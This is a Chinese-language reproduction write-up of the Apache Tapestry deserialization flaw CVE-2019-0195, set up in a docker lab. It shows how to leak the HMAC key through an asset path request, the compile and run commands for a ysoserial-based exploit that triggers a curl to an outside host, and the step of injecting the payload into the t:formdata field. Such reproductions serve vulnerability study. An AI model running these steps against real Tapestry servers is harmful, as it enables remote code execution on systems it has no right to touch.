Apache Tapestry 文件读取漏洞(CVE-2019-0195)
0x01 漏洞简介
Apache Tapestry是美国阿帕奇(Apache)软件基金会的一款使用Java语言编写的Web应用程序框架。
Apache Tapestry 5.4.0版本(包括:betas版本)至5.4.3版本中存在安全漏洞。攻击者可利用该漏洞运行恶意的Java代码。
5.3.6版本引入的一个机制,用途是对序列化的数据进行加密,Tapestry的所有序列化数据传输都需要使用HMAC Key进行加密,一旦密钥泄漏,攻击者即可发送恶意payload,从而造成RCE(原理和shiro默认key的反序列化RCE相似)
HMAC Key需要开发者手动设置,默认值为空(但是不设置,Tapestry会让你编译不通过),一般都存放在 services/AppModule.class文件中(开发者也可以根据喜好存放在其他class文件中)
0x02 影响版本
Apache Tapestry 5.4.0版本(包括:betas版本)至 5.4.3版本
0x03 环境搭建
docker pull vultarget/tapestry-cve_2019_0195:5.4.0 拉取镜像
docker run -it -p 9999:8080 -d vultarget/tapestry-cve_2019_0195:5.4.0 运行容器
0x04 漏洞复现
访问http://192.168.237.129:49153/assets/something/services/AppModule.class
,发现是302,直接利用burp的功能看到跳转前的数据包,就可以找到Tapestry的HMAC Key:moreofyoulessofme
接下来,攻击者就可以使用HMAC Key,对恶意payload进行加密,发送给Tapestry服务器,Tapestry经过,解密,反序列化,从而触发恶意代码执行。
下载payload:
在linux中进行编译
javac -classpath commons-codec-1.15/commons-codec-1.15.jar:. Exploit.java
执行代码
java -cp commons-codec-1.15/commons-codec-1.15.jar:. Exploit [Tapestry Key] [Ysoserial Payload] [要执行的命令]
其中 [Tapestry Key] 是从 AppModule.class 泄漏的 Hmac 密钥,[Ysoserial Payload] 是您要从 ysoserial 使用的有效负载,而 [Command To Execute] 是您要执行的命令。
java -cp commons-codec-1.15/commons-codec-1.15.jar:. Exploit moreofyoulessofme CommonsBeanutils1 "curl http://192.168.237.1:8000"
得到poc之后,我们通过其自带的form
表单,来触发反序列化,在form
表单中存在一个t:formdata
的属性,所以只需要替换成为Poc
即可